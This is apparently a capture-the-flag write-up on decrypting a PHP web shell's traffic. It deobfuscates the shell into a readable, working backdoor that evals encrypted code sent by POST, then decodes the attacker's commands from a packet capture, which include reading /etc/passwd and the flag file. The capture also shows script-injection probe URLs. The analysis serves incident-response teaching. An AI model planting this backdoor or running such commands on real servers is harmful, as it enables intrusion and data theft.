PHP Shell Code (gold, 200p)

You have to investigate recent attack on your web server.
Since attackers were very skilled, they used specially designed PHP shell to access the server.
Your friends from Incident Response Department managed to get network capture file with malicious traffic.
Secret flag, which attackers used, is in PCAP file.
All evidences (including php shell code) are here: shell_code.zip
Can you decrypt web shell command responses?

solution

Archive shell_code.zip contains network packet capture file http.pcap and malware source code - shell.php.txt.

Looking at the shell.php, malware code is inserted between function definitions. It can be cleaned up manually, but I chose to write a PHP script clean.php, which removes comments, functions and empty lines.

<?php
$s = file_get_contents('shell.php.txt');
$ns = ''; $fnc = 0; $cb = 0;
foreach (token_get_all($s) as $token ) {
    $keep = true;	
    if (in_array($token[0], [T_COMMENT, T_DOC_COMMENT])) $keep = false;
    if ($token[0] == T_FUNCTION) $fnc = 1;
    if ($fnc > 0) {
        $keep = false;
        if ($token[0] == '{') { $fnc = 2; $cb++; }
        if ($token[0] == '}') { $cb--; }
        if ($fnc == 2 && $cb == 0) { $fnc = 0; }
    }
    if ($keep) {
        if (is_array($token)) { $ns .= $token[1]; } else { $ns .= $token[0]; }
    }
}
$ns = preg_replace('/^[ \t]*[\r\n]+/m', '', $ns);
echo $ns;
?>

Cleaning the original script returns malicious code.

$ php clean.php
<?php
$W='@e5@va5@l(@gzuncompre5@ss(5@@x(@base65@4_d5@ecode(5@$m[15@]),$5@k)));5@$o=@5@ob_5@get_contents();';
$E='$k5@="465@96bd5@9a";$5@kh="8ecf79155df0";5@$kf5@="5fb5@97fdc5@8317";$p=5@5@"BL450m5@5@L15@WeCi5@9eMA";';
$T='0;5@($j<5@$5@c&&$i<$l);$5@5@j++,$i5@++){$o.=$t{$i}5@5@^$k{$j};}5@}ret5@urn $5@o;}i5@f (@preg_ma5@';
$D=str_replace('bQ','','cbQreatbQe_bQfubQncbQtibQon');
$h='function x(5@$t,$5@k){$c=strle5@n($k);$l=st5@rlen(5@$t);$5@o="";fo5@r(5@$i=0;$5@i<$l;)5@{for($j=';
$l='tch(5@"/$k5@h(.+)$5@k5@f/"5@,@file_get5@_contents("php://i5@5@nput5@"),5@$m)==15@)5@ {@ob_start();';
$X='@ob_e5@nd5@_cle5@an()5@;$r=@base65@4_encode(5@@x(@gzco5@mpress(5@$5@o),5@$k));prin5@t("$p$kh5@$r$kf");}';
$G=str_replace('5@','',$E.$h.$T.$l.$W.$X);
$i=$D('',$G);$i();
?>

Looks like $G contains code, which will be executed in last line as create_function (via $D). Changing the last line to echo $G; and executing code with php reveals less obfuscated code.

$ php clean.php.txt | sed '10s/.*/echo $G;/' | php
$k="4696bd9a";$kh="8ecf79155df0";$kf="5fb97fdc8317";$p="BL450mL1WeCi9eMA";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}if (@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1) {@ob_start();@eval(@gzuncompress(@x(@base64_decode($m[1]),$k)));$o=@ob_get_contents();@ob_end_clean();$r=@base64_encode(@x(@gzcompress($o),$k));print("$p$kh$r$kf");}

This needs to be formatted for readability. A good tool for that is PHP CS Fixer. Add opening <?php and closing ?> tag, before running formatter.

$ curl -sLO https://github.com/FriendsOfPHP/PHP-CS-Fixer/releases/download/v3.2.1/php-cs-fixer.phar
$ php clean.php.txt | sed '10s/.*/echo $G;/' | php | sed -e 's/^/<?php /' -e 's/$/ ?>/' > malware.php
$ php php-cs-fixer.phar fix --quiet --using-cache=no --rules=@PhpCsFixer malware.php

Now the code in malware.php is pretty readable. Basically, it takes data from POST (implied by php://input) and, extracts specific content, does some conversation to it (base64, xor, gzip), executes it and returns output, converted in similar matter.

<?php

$k = '4696bd9a'; $kh = '8ecf79155df0'; $kf = '5fb97fdc8317'; $p = 'BL450mL1WeCi9eMA'; function x($t, $k)
{
    $c = strlen($k);
    $l = strlen($t);
    $o = '';
    for ($i = 0; $i < $l;) {
        for ($j = 0; ($j < $c && $i < $l); $j++,$i++) {
            $o .= $t[$i] ^ $k[$j];
        }
    }

    return $o;
} if (1 == @preg_match("/{$kh}(.+){$kf}/", @file_get_contents('php://input'), $m)) {
    @ob_start();
    @eval(@gzuncompress(@x(@base64_decode($m[1]), $k)));
    $o = @ob_get_contents();
    @ob_end_clean();
    $r = @base64_encode(@x(@gzcompress($o), $k));
    echo "{$p}{$kh}{$r}{$kf}";
}
          

Copy and convert the script to dec.php, which reads from stdin and decodes the value (either command or output) to readable plaintext.

<?php

$k = '4696bd9a'; $kh = '8ecf79155df0'; $kf = '5fb97fdc8317'; $p = 'BL450mL1WeCi9eMA'; function x($t, $k)
{
    $c = strlen($k);
    $l = strlen($t);
    $o = '';
    for ($i = 0; $i < $l;) {
        for ($j = 0; ($j < $c && $i < $l); $j++,$i++) {
            $o .= $t[$i] ^ $k[$j];
        }
    }

    return $o;
}
while($line = fgets(STDIN)) {
    if (1 == @preg_match("/{$kh}(.+){$kf}/", $line, $m)) {
        echo gzuncompress(@x(@base64_decode($m[1]), $k)) . "\n";
    }
}

Returning to http.pcap, check for HTTP POST requests, as that is what malicious script expects.

$ tshark -Y 'http.request.method == POST' -r http.pcap
  3084   4.317353 192.168.114.33 → 192.168.113.102 HTTP 430 POST /servlet/custMsg?guestName=<script>alert(\"Vulnerable\")</script> HTTP/1.1  (application/x-www-form-urlencoded)
  3086   4.318445 192.168.114.33 → 192.168.113.102 HTTP 437 POST /servlet/CookieExample?cookiename=<script>alert(\"Vulnerable\")</script> HTTP/1.1  (application/x-www-form-urlencoded)
  3689   4.833816 192.168.114.33 → 192.168.113.102 HTTP 466 POST /Mem/dynaform/Login.htm?WINDWEB_URL=%2FMem%2Fdynaform%2FLogin.htm&ListIndexUser=0&sWebParam1=admin000 HTTP/1.1  (application/x-www-form-urlencoded)
  3733   4.872689 192.168.114.33 → 192.168.113.102 HTTP 424 POST /_vti_bin/shtml.dll/_vti_rpc?method=server+version%3a4%2e0%2e2%2e2611 HTTP/1.1
  3746  10.829175 192.168.114.33 → 192.168.113.102 HTTP 149 POST /lib1.php HTTP/1.1  (application/x-www-form-urlencoded)
  3758  10.839552 192.168.114.33 → 192.168.113.102 HTTP 217 POST /lib1.php HTTP/1.1  (application/x-www-form-urlencoded)
  3770  10.862186 192.168.114.33 → 192.168.113.102 HTTP 214 POST /lib1.php HTTP/1.1  (application/x-www-form-urlencoded)
  3782  15.700701 192.168.114.33 → 192.168.113.102 HTTP 230 POST /lib1.php HTTP/1.1  (application/x-www-form-urlencoded)
  6829  21.053383 192.168.114.33 → 192.168.113.102 HTTP 430 POST /servlet/custMsg?guestName=<script>alert(\"Vulnerable\")</script> HTTP/1.1  (application/x-www-form-urlencoded)
  6831  21.054465 192.168.114.33 → 192.168.113.102 HTTP 437 POST /servlet/CookieExample?cookiename=<script>alert(\"Vulnerable\")</script> HTTP/1.1  (application/x-www-form-urlencoded)
  7433  21.570371 192.168.114.33 → 192.168.113.102 HTTP 466 POST /Mem/dynaform/Login.htm?WINDWEB_URL=%2FMem%2Fdynaform%2FLogin.htm&ListIndexUser=0&sWebParam1=admin000 HTTP/1.1  (application/x-www-form-urlencoded)
  7477  21.602405 192.168.114.33 → 192.168.113.102 HTTP 424 POST /_vti_bin/shtml.dll/_vti_rpc?method=server+version%3a4%2e0%2e2%2e2611 HTTP/1.1
  7489  32.506591 192.168.114.33 → 192.168.113.102 HTTP 149 POST /lib1.php HTTP/1.1  (application/x-www-form-urlencoded)
  7501  32.516184 192.168.114.33 → 192.168.113.102 HTTP 217 POST /lib1.php HTTP/1.1  (application/x-www-form-urlencoded)
  7513  32.531201 192.168.114.33 → 192.168.113.102 HTTP 218 POST /lib1.php HTTP/1.1  (application/x-www-form-urlencoded)
  7525  40.910335 192.168.114.33 → 192.168.113.102 HTTP 149 POST /lib1.php HTTP/1.1  (application/x-www-form-urlencoded)
  7537  40.922233 192.168.114.33 → 192.168.113.102 HTTP 217 POST /lib1.php HTTP/1.1  (application/x-www-form-urlencoded)
  7549  40.936232 192.168.114.33 → 192.168.113.102 HTTP 226 POST /lib1.php HTTP/1.1  (application/x-www-form-urlencoded)
10658  45.784852 192.168.114.33 → 192.168.113.102 HTTP 430 POST /servlet/custMsg?guestName=<script>alert(\"Vulnerable\")</script> HTTP/1.1  (application/x-www-form-urlencoded)
10660  45.786140 192.168.114.33 → 192.168.113.102 HTTP 437 POST /servlet/CookieExample?cookiename=<script>alert(\"Vulnerable\")</script> HTTP/1.1  (application/x-www-form-urlencoded)
11259  46.400682 192.168.114.33 → 192.168.113.102 HTTP 466 POST /Mem/dynaform/Login.htm?WINDWEB_URL=%2FMem%2Fdynaform%2FLogin.htm&ListIndexUser=0&sWebParam1=admin000 HTTP/1.1  (application/x-www-form-urlencoded)
11303  46.433836 192.168.114.33 → 192.168.113.102 HTTP 424 POST /_vti_bin/shtml.dll/_vti_rpc?method=server+version%3a4%2e0%2e2%2e2611 HTTP/1.1
11315  54.618150 192.168.114.33 → 192.168.113.102 HTTP 149 POST /lib1.php HTTP/1.1  (application/x-www-form-urlencoded)
11327  54.626431 192.168.114.33 → 192.168.113.102 HTTP 230 POST /lib1.php HTTP/1.1  (application/x-www-form-urlencoded)
14370  61.091068 192.168.114.33 → 192.168.113.102 HTTP 430 POST /servlet/custMsg?guestName=<script>alert(\"Vulnerable\")</script> HTTP/1.1  (application/x-www-form-urlencoded)
14372  61.092092 192.168.114.33 → 192.168.113.102 HTTP 437 POST /servlet/CookieExample?cookiename=<script>alert(\"Vulnerable\")</script> HTTP/1.1  (application/x-www-form-urlencoded)
14977  61.576201 192.168.114.33 → 192.168.113.102 HTTP 466 POST /Mem/dynaform/Login.htm?WINDWEB_URL=%2FMem%2Fdynaform%2FLogin.htm&ListIndexUser=0&sWebParam1=admin000 HTTP/1.1  (application/x-www-form-urlencoded)
15021  61.600098 192.168.114.33 → 192.168.113.102 HTTP 424 POST /_vti_bin/shtml.dll/_vti_rpc?method=server+version%3a4%2e0%2e2%2e2611 HTTP/1.1

What pops up are requests to /lib1.php, therefore filter only those. Also, try to decode the request data with previously created dec.php.

$ tshark -Y 'http.request.uri == "/lib1.php"' -T fields -e http.file_data -r http.pcap | php dec.php
echo(46818);
chdir('/var/www/html');@error_reporting(0);@system('echo 13230');
chdir('/var/www/html');@error_reporting(0);@system('pwd 2>&1');
chdir('/var/www/html');@error_reporting(0);@system('cat /etc/passwd 2>&1');
echo(67063);
chdir('/var/www/html');@error_reporting(0);@system('echo 12352');
chdir('/var/www/html');@error_reporting(0);@system('ls -la 2>&1');
echo(80208);
chdir('/var/www/html');@error_reporting(0);@system('echo 14111');
chdir('/var/www/html');@error_reporting(0);@system('cat flag.txt 2>&1');
echo(16222);
chdir('/var/www/html');@error_reporting(0);@system('cat /etc/passwd 2>&1');

To get responses, filter packets containing BL450mL1WeCi9eMA, as malicious code adds this only to responses. One of responses contain the flag.

$ tshark -Y 'http.file_data contains "BL450mL1WeCi9eMA"' -T fields -e http.file_data -r http.pcap | php dec.php
46818
13230

/var/www/html

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
ubuntu:x:1000:1000:,,,:/home/ubuntu:/bin/bash

67063
12352

total 32
drwxr-xr-x 2 root root  4096 Nov 10 17:24 .
drwxr-xr-x 3 root root  4096 Nov 10 14:17 ..
-rw-r--r-- 1 root root    46 Nov 10 16:55 flag.txt
-rw-r--r-- 1 root root 10918 Nov 10 14:17 index.html
-rw-r--r-- 1 root root  7928 Nov 10 17:24 lib1.php

80208
14111

The flag is: fb148ca92d484070b5446b3233eef174

16222
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
ubuntu:x:1000:1000:,,,:/home/ubuntu:/bin/bash